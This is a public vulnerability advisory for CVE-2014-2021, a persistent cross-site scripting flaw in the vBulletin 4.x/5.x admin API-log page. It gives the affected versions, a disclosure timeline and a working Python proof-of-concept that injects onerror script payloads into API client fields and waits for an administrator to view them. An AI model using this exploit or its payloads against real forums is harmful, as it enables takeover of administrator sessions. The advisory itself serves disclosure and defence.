vBulletin 4.x/5.x - AdminCP/ApiLog via xmlrpc API (Authenticated) Persistent Cross-Site Scripting

CVE-2014-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API (post-auth)
================================================================================================

Overview
--------

	date    :  10/12/2014  
	cvss    :  4.6 (AV:N/AC:H/Au:S/C:P/I:P/A:P) base
	cwe     :  79 
	
	vendor  : vBulletin Solutions
	product : vBulletin 4
	versions affected :  latest 4.x and 5.x (to date); verified <= 4.2.2  ; <= 5.0.x
			* vBulletin 5.0.5	  (verified)
			* vBulletin 4.2.2     (verified)  
			* vBulletin 4.2.1     (verified)  
			* vBulletin 4.2.0 PL2 (verified)  
				
	exploitability :
			* remotely exploitable
			* requires authentication (apikey)
			* requires non-default features to be enabled (API interface, API-Logging)
			* requires user interaction to trigger exploit (admincp - admin views logs)
				
	patch availability (to date) :  None


Abstract
---------
 
	vBulletin 4/5 does not properly sanitize client provided xmlrpc attributes (e.g. client name)
    allowing the remote xmlrpc client to inject code into the xmlrpc API logging page. 
	Code is executed once an admin visits the API log page and clicks on the API clients name.
	
	risk:  rather low - due to the fact that you the api key is required
		   you can probably use CVE-2014-2023 to obtain the api key


Details
--------
	
	vulnerable component: 
		./admincp/apilog.php?do=viewclient
	apilog.php does not sanitize xmlrpc client provided data before passing it to
	print_label_row to generate the output page.


Proof of Concept (PoC)
----------------------

	see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
	
	
	1) prerequisites
	1.1) enable API, generate API-key
		 logon to AdminCP
		 goto "vBulletin API"->"API-Key" and enable the API interface, generate key
		 goto "vBulletin API"->"API-Log" and enable all API logging
	2) run PoC
		 edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
		 run PoC, wait for SUCCESS! message
	3) trigger exploit
	     logon to AdminCP
		 goto "vBulletin API"->"API-Log" and hit "view"
		 in search results click on "client name"
		 the injected msgbox pops up
		 

Timeline
--------

	2014-01-14: initial vendor contact - no reply
	2014-01-24: vendor contact - no reply
	2014-10-13: public disclosure
	
Contact
--------

	tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
	
	
(0x721427D8)


- - - 


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, cookielib, urllib, json, hashlib

class Exploit(object):
    
    baseurl = None
    cookies = None
    
    def __init__(self,baseurl,params, debuglevel=1):
        self.cookies = cookielib.LWPCookieJar()
        handlers = [
                    urllib2.HTTPHandler(debuglevel=debuglevel),
                    urllib2.HTTPSHandler(debuglevel=debuglevel),
                    urllib2.HTTPCookieProcessor(self.cookies)
                    ]
        self.browser = urllib2.build_opener(*handlers)
        self.baseurl=baseurl
        self.params = params
    
    def call(self,path="",data={}):
        assert(isinstance(data,dict))
        data = urllib.urlencode(data)

        req = urllib2.Request("%s%s"%(self.baseurl,path),data)
        req.add_header("Content-Type", "application/x-www-form-urlencoded")

        return self.browser.open(req)
    
    def call_json(self,path=None,data={}):
        try:
            x=self.call(path,data).read()
            print "raw_response", x
            resp =  json.loads(x)
        except urllib2.HTTPError, he:
            resp = he.read()
        return resp


    def vb_init_api(self):
        params = {'api_m':'api_init'}
        params.update(self.params)
        data = self.call_json("?%s"%(urllib.urlencode(params)))  
        self.session = data
        return data
    
    def vb_call(self, params):
        api_sig = self._vb_build_api_sig(params)
        req_params = self._vb_build_regstring(api_sig)
        params.update(req_params)
        data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
        if not isinstance(data, dict):
            return data
        if 'errormessage' in data['response'].keys():
            raise Exception(data)
        return data

    def _ksort(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( "%s=%s"%(key,value))
        return "&".join(ret)

    def _ksort_urlencode(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( urllib.urlencode({key:value}))
        return "&".join(ret)

    def _vb_build_api_sig(self, params):
        apikey = self.params['apikey']
        login_string = self._ksort_urlencode(params)
        access_token = str(self.session['apiaccesstoken'])
        client_id = str(self.session['apiclientid'])
        secret = str(self.session['secret'])
        return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
    
    def _vb_build_regstring(self, api_sig):
        params = {
                  'api_c':self.session['apiclientid'],
                  'api_s':self.session['apiaccesstoken'],
                  'api_sig':api_sig,
                  'api_v':self.session['apiversion'],
                  }
        return params
    

if __name__=="__main__":
    TARGET = "http://localhost:8008/sectest/vbulletin_5/api.php"
    APIKEY = "G4YvWVhp"
    DEBUGLEVEL = 0          # 1 to enable request tracking

    print "vBulletin 5.x / 4.x - XSS in API"
    ### 1. XSS
    '''
    vbulletin: admincp => settings: options => vbulletin API and Mobile Application Options
                        * enable vbulletin API =       yes
                        * enable API log =             yes
    
    xss in:
        1)    http://xxxx/vb/admincp/apistats.php?do=client
        2)    click on hex<video><source/**/onerror='alert(1)'>hex
        2.1)  e.g.  http://xxxx/vb/admincp/apilog.php?do=viewclient&apiclientid=1
    
    '''
    params = {'clientname':"hex<video><source/**/onerror='alert(/clientname_1/)'>hex1",
             'clientversion':"hex<video><source/**/onerror='alert(2)'>hex2",
             'platformname':"hex<video><source/**/onerror='alert(3)'>hex3",
             'platformversion':"hex<video><source/**/onerror='alert(4)'>hex4",
             'uniqueid':"hex<video><source/**/onerror='alert(5)'>hex5",
             'apikey':APIKEY} 

    print "[  1 ] - xss - inject alert() to admincp"
    x = Exploit(baseurl=TARGET,params=params,debuglevel=DEBUGLEVEL)
    vars = x.vb_init_api()
    print vars
    
    """
$calls = array(
    'methods' => array(
        'login_login', 'api_init'
         ),
    'login_login' => array(
        'POST' => array(
            'vb_login_username' => 'admin',
            'vb_login_password' => 'password',
        ),
    ),
    'api_init' => array(
        'sessionhash' => '{session.dbsessionhash}'
    )
);
    
    """
    print "[*] GOT SESSIONHASH:",vars.get('sessionhash','<no-sessiohash>')
    
    '''
    calls = {'methods':['api_init'],
             'api_init':{
                         'sessionhash':vars['sessionhash']
                         }}
    '''
    # just a dummy call
    x.vb_call(params={'api_m':'api_forumlist',
                      'type':'t',
                      'x':"1"})
    print "[   *] SUCCESS! - now make an admin visit %s/admincp/apilog.php?do=viewclient&apiclientid=%s to trigger the XSS :)"%("/".join(TARGET.split("/")[:-1]),vars['apiclientid'])
    print "-- quit --"